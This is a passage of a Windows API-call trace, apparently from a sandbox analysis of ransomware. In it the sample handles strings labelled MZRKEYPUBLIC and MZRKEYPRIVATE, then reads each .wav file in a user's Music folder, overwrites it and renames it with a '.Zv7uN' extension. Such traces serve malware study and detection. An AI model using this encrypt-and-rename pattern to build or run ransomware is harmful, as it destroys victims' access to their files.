lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0085.694] GetCurrentThreadId () returned 0xa30 [0085.694] GetCurrentThreadId () returned 0xa30 [0085.694] GetCurrentThreadId () returned 0xa30 [0085.694] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\2Q1cA1bTINna.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\2q1ca1btinna.wav"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0085.695] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f960*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f960*=0) returned 0x0 [0085.695] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0085.695] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x1649a [0085.695] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0085.695] ReadFile (in: hFile=0x124, lpBuffer=0x1ef0010, nNumberOfBytesToRead=0x1649a, lpNumberOfBytesRead=0x18f96c, lpOverlapped=0x0 | out: lpBuffer=0x1ef0010*, lpNumberOfBytesRead=0x18f96c*=0x1649a, lpOverlapped=0x0) returned 1 [0085.698] CloseHandle (hObject=0x124) returned 1 [0085.700] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\2Q1cA1bTINna.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\2q1ca1btinna.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0085.703] WriteFile (in: hFile=0x124, lpBuffer=0x1f08040*, nNumberOfBytesToWrite=0x1649a, lpNumberOfBytesWritten=0x18f978, lpOverlapped=0x0 | out: lpBuffer=0x1f08040*, lpNumberOfBytesWritten=0x18f978*=0x1649a, lpOverlapped=0x0) returned 1 [0085.708] CloseHandle (hObject=0x124) returned 1 [0085.710] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\2Q1cA1bTINna.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\2q1ca1btinna.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\2Q1cA1bTINna.wav.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\2q1ca1btinna.wav.zv7un")) returned 1 [0085.711] GetCurrentThreadId () returned 0xa30 [0085.711] GetCurrentThreadId () returned 0xa30 [0085.711] GetCurrentThreadId () returned 0xa30 [0085.711] GetCurrentThreadId () returned 0xa30 [0085.711] GetCurrentThreadId () returned 0xa30 [0085.712] GetCurrentThreadId () returned 0xa30 [0085.712] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc40fa9a0, ftCreationTime.dwHighDateTime=0x1d5e5c0, ftLastAccessTime.dwLowDateTime=0xde3a74d0, ftLastAccessTime.dwHighDateTime=0x1d5d97d, ftLastWriteTime.dwLowDateTime=0xde3a74d0, ftLastWriteTime.dwHighDateTime=0x1d5d97d, nFileSizeHigh=0x0, nFileSizeLow=0xad1e, dwReserved0=0x430e0820, dwReserved1=0xba1113e9, cFileName="2Q_ _Bs8shSYWml.wav", cAlternateFileName="2Q__BS~1.WAV")) returned 1 [0085.712] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0085.712] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0085.712] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\2Q_ _Bs8shSYWml.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\2q_ _bs8shsywml.wav"), fInfoLevelId=0x0, lpFileInformation=0x18f9ac | out: lpFileInformation=0x18f9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc40fa9a0, ftCreationTime.dwHighDateTime=0x1d5e5c0, ftLastAccessTime.dwLowDateTime=0xde3a74d0, ftLastAccessTime.dwHighDateTime=0x1d5d97d, ftLastWriteTime.dwLowDateTime=0xde3a74d0, ftLastWriteTime.dwHighDateTime=0x1d5d97d, nFileSizeHigh=0x0, nFileSizeLow=0xad1e)) returned 1 [0085.712] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\2Q_ _Bs8shSYWml.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\2q_ _bs8shsywml.wav")) returned 0x20 [0085.712] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\2Q_ _Bs8shSYWml.wav", dwFileAttributes=0x80) returned 1 [0085.715] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0085.715] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x2c538ec, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0085.716] GetCurrentThreadId () returned 0xa30 [0085.716] GetCurrentThreadId () returned 0xa30 [0085.716] GetCurrentThreadId () returned 0xa30 [0085.717] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0085.717] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x2c6494c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0085.718] GetCurrentThreadId () returned 0xa30 [0085.718] GetCurrentThreadId () returned 0xa30 [0085.718] GetCurrentThreadId () returned 0xa30 [0085.718] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\2Q_ _Bs8shSYWml.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\2q_ _bs8shsywml.wav"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0085.718] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f960*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f960*=0) returned 0x0 [0085.718] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0085.718] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0xad1e [0085.718] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0085.719] ReadFile (in: hFile=0x124, lpBuffer=0x1ef0010, nNumberOfBytesToRead=0xad1e, lpNumberOfBytesRead=0x18f96c, lpOverlapped=0x0 | out: lpBuffer=0x1ef0010*, lpNumberOfBytesRead=0x18f96c*=0xad1e, lpOverlapped=0x0) returned 1 [0085.721] CloseHandle (hObject=0x124) returned 1 [0085.722] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\2Q_ _Bs8shSYWml.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\2q_ _bs8shsywml.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0085.725] WriteFile (in: hFile=0x124, lpBuffer=0x1efc040*, nNumberOfBytesToWrite=0xad1e, lpNumberOfBytesWritten=0x18f978, lpOverlapped=0x0 | out: lpBuffer=0x1efc040*, lpNumberOfBytesWritten=0x18f978*=0xad1e, lpOverlapped=0x0) returned 1 [0085.743] CloseHandle (hObject=0x124) returned 1 [0085.745] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\2Q_ _Bs8shSYWml.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\2q_ _bs8shsywml.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\2Q_ _Bs8shSYWml.wav.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\2q_ _bs8shsywml.wav.zv7un")) returned 1 [0085.746] GetCurrentThreadId () returned 0xa30 [0085.746] GetCurrentThreadId () returned 0xa30 [0085.746] GetCurrentThreadId () returned 0xa30 [0085.746] GetCurrentThreadId () returned 0xa30 [0085.746] GetCurrentThreadId () returned 0xa30 [0085.746] GetCurrentThreadId () returned 0xa30 [0085.746] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4fad1c60, ftCreationTime.dwHighDateTime=0x1d5dfd9, ftLastAccessTime.dwLowDateTime=0x66abe1e0, ftLastAccessTime.dwHighDateTime=0x1d5e4e2, ftLastWriteTime.dwLowDateTime=0x66abe1e0, ftLastWriteTime.dwHighDateTime=0x1d5e4e2, nFileSizeHigh=0x0, nFileSizeLow=0x911f, 